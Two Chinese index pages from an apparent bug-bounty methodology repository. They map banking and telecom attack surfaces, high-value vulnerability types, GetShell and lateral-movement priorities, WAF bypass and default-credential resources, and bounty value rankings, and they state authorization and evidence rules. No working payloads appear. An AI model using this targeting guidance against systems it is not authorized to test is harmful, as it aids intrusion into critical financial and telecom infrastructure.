按行业组织的"目标定向"playbook,对应不同行业的资产清单 + 高价值漏洞分布。
与 playbooks/ 的关系:- playbooks/ 按漏洞类型组织(IDOR / RCE / SSRF / …)。- industry/ 按目标行业组织(银行 / 电信 / …)→ 拿到目标先看本目录定打法,再翻对应类型 playbook。---
怎么用
拿到目标 → 判断行业 → 打开对应 industry playbook
│
├─ 攻击面分层图(资产清单)
├─ 行业特有的高价值漏洞类型
└─ 行业特有的探测路径
目标资产已在攻击面图上 → 跳到对应类型 playbook 落实利用
目标资产不在 → 子产品测绘扩面(GitHub / APP / 微信小程序 / 子域)---
行业目录
| 文件 | 主要资产 | 主打漏洞类型 | 高危占比段 |
|---|---|---|---|
banking-finance.md | 网银 / 手机银行 / 微信银行 / 直销银行 / 信用卡中心 / 第三方支付 / 聚合支付 | 金额篡改 (83%) / 支付绕过 (68.7%) / 密码重置 (88%) | 顶段 |
telecom-isp.md | 网厅 / 掌厅 / BOSS / SP-CP 平台 / 短信网关 / 物联网卡平台 / 网管(NMS) | 越权 (62.3%) / 弱口令 (58.2%) / 未授权访问 / 边界设备 | 中–高段 |
---
行业打法的共同骨架
每个行业 playbook 都按这个结构写:
1. 攻击面分层模型(互联网 / 接口通道 / 内部系统 三层资产)
2. 行业特有高危漏洞类型(带 WooYun 案例数)
3. 行业特有的攻击面(不易在 OWASP / H1 通用 playbook 上找到的)
4. GetShell / 横向移动路径(按优先级)
5. 实战 Checklist(信息收集 / 漏洞发现 / 深度利用)---
与 SRC 平台的关系
| 行业 | 对应 SRC 入口 |
|---|---|
| 银行 / 金融 | 各行 SRC(招行 / 建行 / 平安 / 蚂蚁 / 支付宝 / 银联 / 财付通) + 补天金融专项 + HVV 金融行业 |
| 电信 / ISP | 各运营商 SRC(移动 / 联通 / 电信 / 广电)+ HVV 运营商行业 |
红线:金融、电信都属于关键基础设施,证据纪律比通用 SRC 更严格——不写、不删、不改、不留 webshell。详见 methodology/03-evidence-discipline.md。
---
与方法论 / 字典的关联
methodology/05-srctimebox-priority.md → 按时间盒选行业内的优先漏洞
playbooks/<具体类型>.md → 落实漏洞类型的探测/利用
dictionaries/default-credentials-cn.md → 行业内 CN 厂商默认凭据
dictionaries/chinese-srcfingerprints.md → 行业组件指纹与默认路径src-hunter 方法论入口
视角:黑盒 SRC / 众测 / 漏洞赏金(H1、Bugcrowd、补天、CNVD)
假定:攻击者只有 URL、参数、HTTP 抓包能力,没有源码
---
这套方法论怎么用
猎手的工作流被切成 4 段,每段对应本目录一个文件:
[01] 选靶——决定先打哪里(攻击优先级)
│
▼
[02] 起手——构造 payload,带 bypass 矩阵(绕过工具箱)
│
▼
[04] 控制缺口(Control Gap)狩猎——把"敏感操作 ↔ 应有控制"翻译成黑盒探测策略
│
▼
[03] 收尾——证据纪律:抓包、回显、带外、复现率,不写"我猜的"漏洞| 文件 | 作用 | 读它的时机 |
|---|---|---|
01-attack-priority.md | 决定 RCE > 文件写 > 鉴权绕过 > 注入 > 信息泄露的报告顺序,量化 P0–P3 评分 | 选目标 / 排报告优先级时 |
02-bypass-toolkit.md | SQLi、XSS、命令、路径、SSRF、WAF 的通用绕过决策树 + 编码字典 | 任何 payload 被拦截时 |
03-evidence-discipline.md | 黑盒证据纪律:HTTP 包、回显、DNSLog、Diff、复现率;如何避免"我以为"漏洞 | 写报告之前 |
04-control-gap-hunting.md | 把 9 类敏感操作(数据修改/批量/权限/资金/SSRF/文件/命令/认证/越权)翻译成"哪些控制应该存在、如何探测它缺失" | 拿到一个新功能、不知道从哪入手时 |
---
与 SRC 平台的对齐
不同平台对"算分要素"的偏好:
| 平台 | 偏好的漏洞类型 | 必须有 |
|---|---|---|
| HackerOne | RCE、Auth Bypass、IDOR、SQLi、SSRF | CVSS 3.1 或 4.0 + 可执行 PoC + 影响范围 |
| Bugcrowd | VRT 分级(P1–P5),偏好可链接的攻击链 | 步骤可复现 + 截图/视频 |
| 补天 / CNVD | 通用型 RCE、SQLi、未授权、敏感信息泄露 | 漏洞证明(截图、复现包) |
| 众测/HVV | 内网入口、控制权、横向 | 影响资产清单 + 后利用证据 |
统一规则: 1. 只测授权资产,不外溢 2. 不删/不改/不批量拖库,证明即止 3. 数据脱敏(用户名、手机号打码) 4. 不上传/不留 webshell;命令执行只跑只读命令(id、whoami、uname -a)
---
价值排序(精简版)
| 等级 | 漏洞类型 | 平均赏金区间(参考 H1 / Bugcrowd) |
|---|---|---|
| 顶级 | 未授权 RCE / SSRF→RCE / 反序列化 | $5k – $50k |
| 高 | 鉴权绕过 / 公开 IDOR 大面积数据 / 任意文件读 | $1k – $10k |
| 中 | SQLi / 越权 / 文件上传(受限) | $300 – $3k |
| 低 | XSS / 信息泄露(无敏感数据) | $50 – $500 |
这个顺序就是 01-attack-priority.md 里"攻击路径最短原则"的现金体现。---
配套 playbook 目录
漏洞类型分类详见 ../playbooks/00-index.md。